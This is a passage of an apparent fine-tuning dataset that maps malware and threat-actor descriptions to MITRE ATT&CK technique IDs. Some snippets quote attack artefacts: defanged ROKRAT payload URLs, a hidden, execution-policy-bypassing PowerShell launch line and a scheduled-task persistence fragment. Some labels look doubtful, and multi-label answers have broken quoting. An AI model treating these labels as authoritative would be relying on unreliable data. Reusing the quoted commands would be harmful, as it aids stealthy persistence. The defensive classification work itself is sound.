                "content": "T1059 - Command and Scripting Interpreter', 'T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It uses the Dropbox API with a hardcoded bearer access token and has the ability to download, upload, and execute files"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "puts a space after a false .jpg extension so that execution actually goes through the Terminal.app program."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor's dispatcher can modify the Run registry key."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CallMe uses AES to encrypt C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FinFisher enumerates directories and scans for certain files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerSploit's \"Find-AVSignature\" AntivirusBypass module can be used to locate single byte anti-virus signatures."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Recursively generate a list of files in a directory and send to the control server - Terminate a specific process. The process is identified by the control server sending the PID to the malware"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery', 'T1543.003 - Create or Modify System Process: Windows Service', 'T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The “WmiApCom.bat” file is simply used to start “WmiApCom”, which happens to be the exact same file as the one dropped by the malicious Word documents. However, this is most likely meant to be a mechanism to update the compromised host with a new version of the LOWBALL malware"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Peppy can download and execute remote files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses Pastebin to store its real C2 addresses."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has avoided detection by naming a malicious binary explorer.exe."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ADVSTORESHELL can list connected devices."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bankshot recursively generates a list of files within a directory and sends them back to the control server."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group has sent emails containing malicious attachments that require users to execute a file or macro to infect the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "watch/?   search/?  find/?    results/? open/?    search/?  close/?   The “ai” value stands for the payload title"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PlugX has a module to enumerate drives and find files recursively."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Dust Storm, the threat actors relied on potential victims to open a malicious Microsoft Word document sent via email."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DustySky can detect connected USB devices."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Penquin can add the executable flag to a downloaded file."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum mimics HTTP protocol for C2 communication, while hiding the actual messages in the Cookie and Set-Cookie headers of the HTTP requests."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Protocol or Service Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to discover processes running on a system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can collect information about installed software used by specific users, software executed on user login, and software executed by each system."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Axiom has acquired dynamic DNS services for use in the targeting of intended victims."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has compromised legitimate websites to host C2 and malware modules."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CostaBricks can implement a custom-built virtual machine mechanism to obfuscate its code."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 used a batch script to gather folder and file names from victim hosts."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used the Windows API \"ObtainUserAgentString\" to obtain the User-Agent from a compromised host to connect to a C2 server. Lazarus Group has also used various, often lesser known, functions to perform various types of Discovery and Process Injection."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The first email displays the following decoy document to the infected user and download the following payload:hxxp://discgolfglow[.]com:/wp-content/plugins/maintenance/images/worker.jpgThe second email displays the following decoy document to the infected user and downloads the following payload:hxxp://acddesigns[.]com[.]au/clients/ACPRCM/kingstone.jpgIn both cases, the downloaded payload is the ROKRAT malware.The first tasks of this variant of ROKRAT is to check the operating system version"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer', 'T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 5: Registry Activity The script then determines the version of Powershell that is being used on the infected system. If the switch associated with the execution of Stage 3 was passed to the 'pre_logic' function at the beginning of this stage, the Stage 3 payload will then be executed immediately"
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 actors look for and use VPN profiles during an operation to access the network using external VPN services. Threat Group-3390 has also obtained OWA account credentials during intrusions that it subsequently used to attempt to regain access when evicted from a victim network."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ‘vac.dll’ DLL file is signed with a valid, legitimate digital signature, although the file has been tampered with. At first glance, the fact that its digital signature is valid would suggest the file has not been manipulated after being digitally signed"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Proton gathers credentials for Google Chrome."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWRUNER is written in PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has used newly-created Blogspot pages for credential harvesting operations."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Anchor can self delete its dropper after the malware is successfully deployed."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UPPERCUT has the capability to gather the system’s hostname and OS version."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRat has used Windows API functions to install the service and shim."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Because TA505 is such a significant part of the email threat landscape, this blog provides a retrospective on the shifting malware, payloads, and campaigns associated with this actor. We examine their use malware such as Jaff, Bart, and Rockloader that appear to be exclusive to this group as well as more widely distributed malware like Dridex and Pony. Where possible, we detail the affiliate models with which they are involved and outline the current state of TA505 campaigns"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On June 28, 2020, our Threat Fusion team identified a new file being downloaded by the Aisino Intelligent Tax product. Rather, this new sample’s sole mission is to delete GoldenSpy and remove any trace it existed. Including the deletion of registry entries, all files and folders (including the GoldenSpy log file), and finally, the uninstaller deletes itself with the following command: cmd.exe /c del /q C:\\Users\\admin\\AppData\\Local\\Temp\\AWX.exe. Note the “/c” which will terminate the Windows Command-line interface after the operation is completed and “/d” which will delete without asking permission or giving any notification"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "2) Download the OpenSSL library. Instead of saving the downloaded file, QakBot measures the download speed and deletes the received file"
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After execution, Ragnar Locker Ransomware encrypts the files and adds the extension “.ragnar” and an 8 digit number"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used Remote Desktop Protocol to conduct lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sidewinder has configured tools to automatically send collected files to attacker controlled servers."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has used modified versions of open source PHP web shells to maintain access, often adding \"Dinosaur\" references within the code."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a keylogger module that collects keystrokes and the titles of foreground windows."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obtains a list of running processes through WMI querying and the ps command."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Darkhotel malware has employed just-in-time decryption of strings to evade sandbox detection."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium has compromised software supply chains to gain access to victims."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "drops commands for a second victim onto a removable media drive inserted into the first victim, and commands are executed when the drive is inserted into the second victim."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper has encrypted traffic with the C2 to prevent network detection."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZLib has the ability to discover and manipulate Windows services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has enumerated files on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "However, the OwaAuth web shell password contains the victim organization's name"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EVILNUM can make modifications to the Regsitry for persistence."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As the Top Twenty shows, DNSChanger is also widespread. There is actually a connection between Zlob and DNSChanger – we believe they were created by the same gang. Although DNSChanger underwent many changes during its lifespan, basically what it does is simply change the DNS servers from the user’s computer to a set of two specific IP addresses. The IP addresses are selected from a huge pool and the variation comes in distributing thousand of different DNSChanger binaries, each one setting the DNS servers to distinct IP addresses. While changing the DNS servers may not be regarded as something seriously malicious, an attacker who achieves this can actually do a lot of harm – for instance, redirecting websites such as Amazon.com or Bank Of America to phishing installations almost entirely without any sign of warning to the user. To complicate removal, the most recent DNSChangers include rootkit components and even download additional malware."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has used CVE-2015-1701 to access the SYSTEM token and copy it into the current process as part of privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "admin@338 has exploited client software vulnerabilities for execution, such as Microsoft Word CVE-2012-0158."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers the victim username."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Uses tools such as PDQ Inventory scanner, Advanced Port Scanner and netscan (which also scanned for the ProxyShell vulnerability)."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuasarRAT can obtain passwords from common web browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Frankenstein, the threat actors established persistence through a scheduled task using the command: `/Create /F /SC DAILY /ST 09:00 /TN WinUpdate /TR`, named \"WinUpdate\""
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We recently observed an instance where the FlawedAmmyy downloader was not digitally signed (FlawedAmmyy RAT payload is still signed, however). It could be a blip — perhaps a one-off — but it's still notable"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The downloaded file named install_flash_player.exe needs to be manually launched by the victim. To operate correctly, it needs elevated administrative privileges which it attempts to obtain using the standard UAC prompt. If started, it will save the malicious DLL as C:Windowsinfpub.dat and launch it using rundll32"
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CORALDECK has exfiltrated data in HTTP POST headers."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rancor has used \"msiexec\" to download and execute malicious installer files over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FYAnti can search the \"C:\\Windows\\Microsoft.NET\\\" directory for files of a specified size."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aria-body has the ability to identify the titles of running windows on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stealth Falcon malware gathers system information via WMI, including the system directory, build number, serial number, version, manufacturer, model, and total physical memory."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro’s DGA uses two strings (prefix and suffix) hardcoded in the binary and the local date as inputs. Note that based on the DGA, a different website is required for each day. We have observed some variants also using a custom base64 alphabet"
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has used tools to enumerate processes on target hosts including Process Explorer."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to execute ver, systeminfo, and gpresult commands."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 used \"AUDITPOL\" to prevent the collection of audit logs."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To install the payload, the script will create a file %APPDATA%\\OneDrive.bat and save the following string to it: powershell.exe -WindowStyle Hidden -exec bypass  -File “%APPDATA%\\OneDrive.ps1” The script then writes a modified copy of itself to %APPDATA%\\OneDrive.ps1, with the code that performs this installation omitted"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used DLL side-loading."
            },
            {
                "role": "assistant",
